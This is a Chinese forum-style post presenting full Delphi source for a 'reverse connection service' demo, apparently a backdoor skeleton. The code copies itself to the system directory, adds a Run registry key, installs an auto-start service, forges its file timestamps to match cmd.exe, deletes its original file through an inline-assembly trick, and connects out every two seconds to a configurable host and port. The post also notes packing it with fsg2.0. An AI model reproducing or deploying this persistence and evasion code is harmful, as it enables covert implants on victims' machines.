一个简单的反向连接服务程序

一个简单的反向连接服务程序

功能简介：

运行后自删除，写注册表Run下，同时自拷贝到系统目录下，注册为系统服务SvrDemo,修改文件时间同Cmd.exe，每隔俩秒钟连接一次本地(127.0.0.1)的600端口，ip地址和端口可自行修改，部分代码来源于网上修改，主要在于演示服务程序，用fsg2.0加壳后9.8k,编译环境D7+2kPro

在命令行下加参数 /U 可以卸载服务程序。


program SvrDemo;

uses
  Windows,
  WinSvc,
  winsock;

const
  RegName = 'SvrDemo';

var
  szServiceName: pchar = 'SvrDemo';
  szFileName:pchar;
  ServiceTable: array [0..1] of TServiceTableEntry;
  Status: SERVICE_STATUS;
  StatusHandle: SERVICE_STATUS_HANDLE;
  Stopped: boolean;
  Paused: boolean;
  cmd :array[0..MAX_PATH] of char;

//获取系统目录
function GetDirectory(dInt: Integer): string;
var
  s: array[0..255] of Char;
begin
  case dInt of
    0: GetWindowsDirectory(@s, 256);  //Windows安装文件夾所存在的路径
    1: GetSystemDirectory(@s, 256);   //系统文件夾所存在的路径
    2: GetTempPath(256,@s);           //Temp文件夾所存在的路径
  end;
  if dInt=2 then
    result :=string(s)
  else
    result := string(s) + '\';
end;

//设置文件时间
procedure setTime(srcFile,destFile:PChar);
var
  hFileOld,hFileNew :THandle;
  CreationTime, LastAccessTime, LastWriteTime :PFileTime;
begin
  hFileOld :=createFile(srcFile,generic_read,file_share_read,nil,
                        open_existing,FILE_ATTRIBUTE_NORMAL,Cardinal(nil));
  if (hFileOld=INVALID_HANDLE_VALUE) then exit;
  hFileNew :=createFile(destFile,generic_write,file_share_write,nil,
                        open_existing,FILE_ATTRIBUTE_NORMAL,Cardinal(nil));
  if (hFileNew=INVALID_HANDLE_VALUE) then exit;
  GetMem(CreationTime,SizeOf(TFileTime));
  GetMem(LastAccessTime,SizeOf(TFileTime));
  GetMem(LastWriteTime,SizeOf(TFileTime));
  GetFileTime(hFileOld,CreationTime,LastAccessTime,LastWriteTime);
  SetFileTime(hFileNew,CreationTime,LastAccessTime,LastWriteTime);
  FreeMem(CreationTime);
  FreeMem(LastAccesstime);
  FreeMem(LastWriteTime);
  CloseHandle(hFileNew);
  CloseHandle(hFileOld);
end;

function LookupName(const Name: string): TInAddr;
var
  HostEnt: PHostEnt;
  InAddr: TInAddr;
begin
  HostEnt := gethostbyname(PChar(Name));
  FillChar(InAddr, SizeOf(InAddr), 0);
  if HostEnt <> nil then
  begin
     with InAddr, HostEnt^ do
     begin
       S_un_b.s_b1 := h_addr^[0];
       S_un_b.s_b2 := h_addr^[1];
       S_un_b.s_b3 := h_addr^[2];
       S_un_b.s_b4 := h_addr^[3];
     end;
  end;
  Result := InAddr;
end;

function StartNet(host:string;port:integer;var sock:integer):Boolean;
var
  wsadata:twsadata;
  FSocket:integer;
  SockAddrIn:TSockAddrIn;
  err:integer;
begin
  err:=WSAStartup($0101,WSAData);
  FSocket:=socket(PF_INET,SOCK_STREAM,IPPROTO_IP);
  if FSocket=invalid_socket then
  begin
    Result:=False;
    Exit;
  end;
  SockAddrIn.sin_addr:=LookupName(host);
  SockAddrIn.sin_family := PF_INET;
  SockAddrIn.sin_port :=htons(port);
  err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
  if err=0 then
  begin
    sock:=FSocket;
    Result:=True;
  end else
  begin
    Result:=False;
  end;
end;

procedure Delme;
var
  module : HMODULE;
  buf : array[0..MAX_PATH - 1] of char;
  p : ULONG;
  hKrnl32 : HMODULE;
  pExitProcess, pDeleteFile, pFreeLibrary: pointer;
begin
  module := GetModuleHandle(nil);
  GetModuleFileName(module, buf, sizeof(buf));
  CloseHandle(THandle(4));
  p := ULONG(module) + 1;
  hKrnl32 := GetModuleHandle('kernel32');
  pExitProcess := GetProcAddress(hKrnl32, 'ExitProcess');
  pDeleteFile := GetProcAddress(hKrnl32, 'DeleteFileA');
  pFreeLibrary := GetProcAddress(hKrnl32, 'FreeLibrary');
  asm
  lea eax, buf
  push 0
  push 0
  push eax
  push pExitProcess
  push p
  push pDeleteFile
  push pFreeLibrary
  ret
  end;
end;

function SetRegValue(key:Hkey; subkey,name,value:string):boolean;
var
regkey:hkey;
begin
  result := false;
  RegCreateKey(key,PChar(subkey),regkey);
  if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
    result := true;
  RegCloseKey(regkey);
end;

procedure SetDelValue(ROOT: hKey; Path, Value: string);
var
  Key: hKey;
begin
  RegOpenKeyEx(ROOT, pChar(Path), 0, KEY_ALL_ACCESS, Key);
  RegDeleteValue(Key, pChar(Value));
  RegCloseKey(Key);
end;

function InstallService(ServiceName, DisplayName, FileName: string): boolean;
var
  SCManager,Service: THandle;
  Args: pchar;
begin
  Result := False;
  SCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
  if SCManager = 0 then Exit;
  try
    Service := CreateService(SCManager,  //句柄
                             PChar(ServiceName), //服务名称
                             PChar(DisplayName), //显示服务名
                             SERVICE_ALL_ACCESS, //服务访问类型
                             SERVICE_WIN32_OWN_PROCESS, //服务类型  or SERVICE_INTERACTIVE_PROCESS
                             SERVICE_AUTO_START, //自动启动服务
                             SERVICE_ERROR_IGNORE, //忽略错误
                             PChar(FileName),  //启动的文件名
                             nil,  //name of load ordering group (载入组名) 'LocalSystem'
                             nil,  //标签标识符
                             nil,  //相关性数组名
                             nil,  //帐户(当前)
                             nil); //密码(当前)

    Args := nil;
    StartService(Service, 0, Args);
    CloseServiceHandle(Service);
  finally
    CloseServiceHandle(SCManager);
  end;
  Result := True;
end;

procedure UninstallService(ServiceName: string);
var
  SCManager,Service: THandle;
  ServiceStatus: SERVICE_STATUS;
begin
  SCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
  if SCManager = 0 then Exit;
  try
    Service := OpenService(SCManager, PChar(ServiceName), SERVICE_ALL_ACCESS);
    ControlService(Service, SERVICE_CONTROL_STOP, ServiceStatus);
    DeleteService(Service);
    CloseServiceHandle(Service);
  finally
    CloseServiceHandle(SCManager);
  end;
end;

procedure ServiceCtrlHandler(Control: dword); stdcall;
begin
  case Control of
    SERVICE_CONTROL_STOP:
    begin
      Stopped := True;
      Status.dwCurrentState  := SERVICE_STOPPED;
    end;
    SERVICE_CONTROL_PAUSE:
    begin
      Paused := True;
      Status.dwcurrentstate := SERVICE_PAUSED;
    end;
    SERVICE_CONTROL_CONTINUE:
    begin
      Paused := False;
      Status.dwCurrentState := SERVICE_RUNNING;
    end;
    SERVICE_CONTROL_INTERROGATE:  ;
    SERVICE_CONTROL_SHUTDOWN: Stopped := True;
  end;
  SetServiceStatus(StatusHandle, Status);
end;

procedure ServiceMain;
var
  s:integer;
  //MSG:TMSG;
begin
{ while(GetMessage(Msg,0,0,0))do
  begin
    TranslateMessage(Msg);
    DispatchMessage(Msg);
  end; }
  repeat
    if not Paused then
    begin
      StartNet('127.0.0.1',600,s);
      Sleep(2000);
    end;
  until Stopped;
  ExitProcess(0);
end;

procedure ServiceCtrlDispatcher(dwArgc: dword; var lpszArgv: pchar); stdcall;
begin
  StatusHandle := RegisterServiceCtrlHandler(szServiceName, @ServiceCtrlHandler);
  if StatusHandle <> 0 then
  begin
    ZeroMemory(@Status, SizeOf(Status));
    Status.dwServiceType := SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS;
    Status.dwCurrentState:= SERVICE_START_PENDING;
    Status.dwControlsAccepted := SERVICE_ACCEPT_STOP or SERVICE_ACCEPT_PAUSE_CONTINUE;
    Status.dwWaitHint := 1000;
    SetServiceStatus(StatusHandle, Status);
    Stopped := False;
    Paused := False;
    Status.dwCurrentState := SERVICE_RUNNING;
    SetServiceStatus(StatusHandle, Status);
    ServiceMain;
  end;
end;

procedure Main;
begin
  szFileName :=pchar(GetDirectory(1) + szServiceName + '.exe');
  if ParamStr(1) = '/u' then
  begin
    UninstallService(szServiceName);
    SetDelValue(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run',RegName);
  end else
  begin
    GetModuleFileName(hInstance,cmd,MAX_PATH);
    ServiceTable[0].lpServiceName := szServiceName;
    ServiceTable[0].lpServiceProc := @ServiceCtrlDispatcher;
    ServiceTable[1].lpServiceName := nil;
    ServiceTable[1].lpServiceProc := nil;
    StartServiceCtrlDispatcher(ServiceTable[0]);
    if CopyFile(cmd,szFileName,false) then
    begin
      SetRegValue(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run',RegName,szFileName);
      setTime(PChar(GetDirectory(1) + 'cmd.exe'),szFileName);
      InstallService(szServiceName, szServiceName, szFileName);
      Delme;
    end;
  end;
end;

begin
  Main;
end.